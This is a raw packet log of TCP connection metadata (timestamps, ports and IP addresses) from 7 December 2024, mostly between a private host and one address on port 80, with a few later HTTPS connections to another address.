Dec 7, 2024 08:43:10.820791960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.820799112 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.820842028 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.821913004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.821959019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.821969986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.822011948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.822766066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.822812080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.822969913 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.823014021 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.823756933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.823807001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.823865891 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.823909044 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.824769020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.824814081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.824888945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.824933052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.825803995 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.825839996 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.825850964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.825880051 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.877290964 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.877418995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.877423048 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.877468109 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.877805948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.877856016 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.877886057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.877932072 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.878863096 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.878911018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.878950119 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.878997087 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.879782915 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.879831076 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.879903078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.879950047 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.880903959 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.880953074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.880980968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.881030083 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.881819010 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.881861925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.881891966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.881927013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.882785082 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.882837057 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.882906914 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.882951975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.883826017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.883866072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.883872986 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.883905888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.884840012 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.884886026 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.884947062 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.884990931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.886179924 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.886197090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.886231899 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.934129953 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.934273958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.934278011 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.934314966 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.934556007 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.934603930 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.934673071 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.934719086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.935628891 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.935688972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.935689926 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.935722113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.936604977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.936651945 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.936724901 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.936768055 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.937589884 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.937629938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.937652111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.937663078 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.938643932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.938688040 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.938766003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.938811064 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.939610004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.939654112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.939750910 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.939800024 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.940654993 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.940702915 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.940829992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.940869093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.941643953 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.941693068 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.941761017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.941807032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.942783117 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.942823887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.942835093 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.942887068 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.943685055 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.943728924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.943753958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.943797112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.944689989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.944739103 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.944767952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.944807053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.945734978 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.945777893 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.945804119 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.945846081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.946747065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.946799994 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.946824074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.946871042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.947710037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.947757959 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.947885036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.947926998 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.948718071 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.948756933 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.948946953 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.948983908 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.949757099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.949812889 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.949848890 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.949901104 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.950813055 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.950860023 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.950958014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.950999975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.951756954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.951797009 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.951844931 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.951884031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.952739954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.952785969 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.952876091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.952927113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.995675087 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.995770931 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.995774031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.995979071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.996170044 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.996217012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.996254921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.996309996 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.997214079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.997262001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.997334003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.997380972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.998223066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.998269081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.998296022 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.998338938 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.999216080 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.999264002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.999341011 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.999382019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.000227928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.000274897 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.000329018 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.000374079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.001379967 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.001426935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.001441002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.001485109 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.002263069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.002309084 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.002345085 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.002388000 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.003248930 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.003295898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.003345013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.003386021 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.004360914 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.004407883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.004492998 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.004535913 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.005278111 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.005325079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.005330086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.005361080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.006335020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.006350040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.006390095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.007738113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.007750988 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.007797003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.008316040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.008361101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.008405924 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.008467913 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.009321928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.009372950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.009391069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.009433985 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.010344028 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.010390043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.010483027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.010528088 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.011344910 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.011390924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.011442900 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.011482954 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.012343884 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.012396097 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.012478113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.012518883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.013417959 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.013465881 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.013494968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.013542891 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.014363050 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.014410019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.014488935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.014533043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.015419960 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.015469074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.015500069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.015572071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.016410112 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.016457081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.016532898 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.016577005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.017426968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.017477989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.017479897 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.017519951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.018403053 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.018449068 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.069339037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.069359064 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.069459915 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:11.069710016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:11.069765091 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:13.398492098 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.398515940 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:13.398585081 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.398734093 CET	49709	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.398741007 CET	443	49709	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:13.398822069 CET	49709	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.399173021 CET	49710	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.399183989 CET	443	49710	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:13.399231911 CET	49710	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.399386883 CET	49711	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.399393082 CET	443	49711	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:13.399549961 CET	49711	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.399995089 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.400012970 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:13.400151014 CET	49709	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.400163889 CET	443	49709	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:13.400532961 CET	49710	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.400546074 CET	443	49710	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:13.400677919 CET	49711	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:13.400686026 CET	443	49711	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:14.727618933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:14.727736950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:15.093835115 CET	443	49709	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.094126940 CET	49709	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.094139099 CET	443	49709	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.094202042 CET	443	49710	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.094358921 CET	49710	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.094377995 CET	443	49710	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.094957113 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.095144033 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.095154047 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.095293999 CET	443	49709	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.095323086 CET	443	49711	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.095335960 CET	443	49710	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.095366955 CET	49709	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.095419884 CET	49710	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.095525980 CET	49711	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.095537901 CET	443	49711	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.096030951 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.096116066 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.096402884 CET	443	49711	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.096456051 CET	49711	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.096765995 CET	49710	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.096822977 CET	443	49710	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.097446918 CET	49709	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.097508907 CET	443	49709	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.098437071 CET	49710	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.098443985 CET	443	49710	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.098520994 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.098578930 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.098584890 CET	49711	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.098637104 CET	443	49711	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.098690033 CET	49709	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.098695993 CET	443	49709	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.099164009 CET	49711	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.099168062 CET	443	49711	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.099186897 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.099194050 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.152607918 CET	49709	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.152630091 CET	49711	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.152650118 CET	49710	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.153407097 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.374196053 CET	49709	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.374253988 CET	443	49709	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.374305010 CET	49709	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.927831888 CET	443	49710	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.927984953 CET	443	49710	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.928045034 CET	49710	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.930479050 CET	49710	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.930494070 CET	443	49710	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.941137075 CET	443	49711	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.941257000 CET	443	49711	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.941310883 CET	49711	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.948997021 CET	49711	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.949007034 CET	443	49711	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.955434084 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.955478907 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.955516100 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.955535889 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.955549955 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.955560923 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.955588102 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.963735104 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.963799953 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.963814020 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.974762917 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.974832058 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.974842072 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.990502119 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:15.990549088 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:15.990557909 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.040884018 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.040894032 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.090297937 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.090308905 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.137156010 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.142358065 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.149456024 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.149513960 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.149524927 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.162929058 CET	443	49708	142.250.181.100	192.168.2.5
